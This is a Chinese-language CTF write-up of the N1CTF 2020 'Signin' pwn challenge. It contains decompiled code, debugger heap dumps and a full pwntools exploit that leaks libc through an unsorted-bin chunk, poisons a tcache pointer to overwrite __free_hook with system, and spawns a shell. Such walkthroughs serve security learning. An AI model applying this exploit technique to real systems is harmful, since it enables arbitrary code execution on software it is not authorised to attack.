【WriteUp】N1CTF 2020 -- Pwn 题解

之前一堆报告一堆事还有期末考试,现在忙里偷闲复现一下刷刷题

Nu1L 的比赛真不错

Signin

保护如下

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

main 函数

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  while ( 1 )
  {
    menu();
    std::istream::operator>>(&std::cin, &v3);
    switch ( v3 )
    {
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 1:
        new();
        break;
    }
  }
}

new 函数

unsigned __int64 new()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Index:");
  std::istream::operator>>(&std::cin, &v1);
  std::operator<<<std::char_traits<char>>(&std::cout, "Number:");
  std::istream::operator>>(&std::cin, &v2);
  if ( v1 == 1 )
    sub_12E8(&unk_2032A0, &v2);
  if ( v1 == 2 )
    sub_12E8(&unk_2032C0, &v2);
  return __readfsqword(0x28u) ^ v3;
}

这里用的是

delete 函数

unsigned __int64 __cdecl delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Index:");
  std::istream::operator>>(&std::cin, &v1);
  if ( v1 == 1 )
    sub_1364(&unk_2032A0);
  if ( v1 == 2 )
    sub_1364(&unk_2032C0);
  return __readfsqword(0x28u) ^ v2;
}

show 函数

unsigned __int64 show()
{
  _QWORD *v0; // rax
  __int64 v1; // rax
  _QWORD *v2; // rax
  __int64 v3; // rax
  int v5; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Index:");
  std::istream::operator>>(&std::cin, &v5);
  if ( v5 == 1 )
  {
    v0 = sub_139E(&unk_2032A0);
    v1 = std::ostream::operator<<(&std::cout, *v0);
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  if ( v5 == 2 )
  {
    v2 = sub_139E(&unk_2032C0);
    v3 = std::ostream::operator<<(&std::cout, *v2);
    std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v6;
}

解题思路

这里 unk_2032A0 和 unk_2032C0 两个地址其实是两个结构体,大致内容如下

struct Node{
    void begin;  // 指向第一个元素,也是堆地址
    void now;    // 指向当前元素
    void end;    // 指向最后一个元素
}

调试的时候发现了有趣的事情,就是在进行 delete 的时候,全局变量的第二个地址会不断地减 8

初始状态

0x563b8a2af2a0: 0x0000563b8c05beb0  0x0000563b8c05beb8
0x563b8a2af2b0: 0x0000563b8c05beb8  0x0000000000000000
0x563b8a2af2c0: 0x0000563b8c05bed0  0x0000563b8c05bed8
0x563b8a2af2d0: 0x0000563b8c05bed8  0x0000000000000000

执行 delete(1) 一次后

0x563b8a2af2a0: 0x0000563b8c05beb0  0x0000563b8c05beb0
0x563b8a2af2b0: 0x0000563b8c05beb8  0x0000000000000000
0x563b8a2af2c0: 0x0000563b8c05bed0  0x0000563b8c05bed8
0x563b8a2af2d0: 0x0000563b8c05bed8  0x0000000000000000

执行 delete(1) 两次后

0x563b8a2af2a0: 0x0000563b8c05beb0  0x0000563b8c05bea8
0x563b8a2af2b0: 0x0000563b8c05beb8  0x0000000000000000
0x563b8a2af2c0: 0x0000563b8c05bed0  0x0000563b8c05bed8
0x563b8a2af2d0: 0x0000563b8c05bed8  0x0000000000000000

那么我们可以依靠这个特性使指向当前地址的结构体指针一直向前移,可以在之后利用这个特性进行覆写以及泄露

下面说说如何使堆地址中出现可以泄露或者说可以覆写的地址

在这道题中,我们只能对两个 vector 进行操作,每次 new 的数量超过限制时(即结构体中的 now == end)

那么程序就会申请两倍的空间并把原来的空间释放(vector 特性)

那么根据这个特性,我们可以不断地去申请 vector,就可以得到递增的空闲块链表(得到可以覆写的地址)

直到超过 0x410,得到一个 unsortedbin 而不是 tcachebin,这样就可以得到我们需要的 libc 地址了,如下

pwndbg> bin
tcachebins
0x20 [  2]: 0x558323061ed0 —▸ 0x558323061eb0 ◂— 0x0
0x30 [  1]: 0x558323061ef0 ◂— 0x0
0x50 [  1]: 0x558323061f20 ◂— 0x0
0x90 [  1]: 0x558323061f70 ◂— 0x0
0x110 [  1]: 0x558323062000 ◂— 0x0
0x210 [  1]: 0x558323062110 ◂— 0x0
0x410 [  1]: 0x558323062320 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x558323062720 —▸ 0x7fecebd71be0 (main_arena+96) ◂— 0x558323062720
smallbins
empty
largebins
empty

在泄露完 libc 之后我们可以继续 delete(1),现在再 new(1) 的时候

因为结构体中的 now != end,所以这次申请的大小是将会是该地址上原有的 size

所以我们就可以去修改 0x20 链表上的 tcache chunk 的 fd,将其修改为 __free_hook - 8

之后再 new(1),申请的还是 0x20 的块,我们就可以把 system 写进去,这样 __free_hook 就被改写为了 system

因为初始状态下结构体中的 now == end,所以我们接下来 new(2) 的时候就会释放 2 的堆地址然后申请一个新地址

所以我们再顺手把 2 要释放的地址上的数值改成 /bin/sh 就能直接利用 system("/bin/sh"); 提权了

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./signin'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elif debug == 2:
    p = process(['./chall'])
    libc = ELF('/binLep_lib/lib64/2.31/lib/libc.so.6', checksec=False)
else:
    p = remote('pwn03.chal.ctf.westerns.tokyo', 22915)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)

def new(new_idx, new_num):
    p.sendlineafter('>>', '1')
    p.sendlineafter('Index:', str(new_idx))
    p.sendlineafter('Number:', str(new_num))

def delete(delete_idx):
    p.sendlineafter('>>', '2')
    p.sendlineafter('Index:', str(delete_idx))

def show(show_idx):
    p.sendlineafter('>>', '3')
    p.sendlineafter('Index:', str(show_idx))

for i in range(0, 0x101):
    new(1, 1)
#gdb.attach(p)
for i in range(0, 0x202):
    delete(1)

show(1)

libc.address = int(p.recvuntil('1.')[:-2]) - libc.sym['__malloc_hook'] - 0x70

for i in range(0, 0x10d):
    delete(1)

new(1, libc.sym['__free_hook'] - 8)
new(2, 0x68732f6e69622f)

# gdb.attach(p)
new(2, libc.sym['system'])
p.interactive()
点赞
  1. pearce说道:
    Firefox Windows 10
    binlep,永远的神

pearce进行回复 取消回复

电子邮件地址不会被公开。必填项已用 * 标注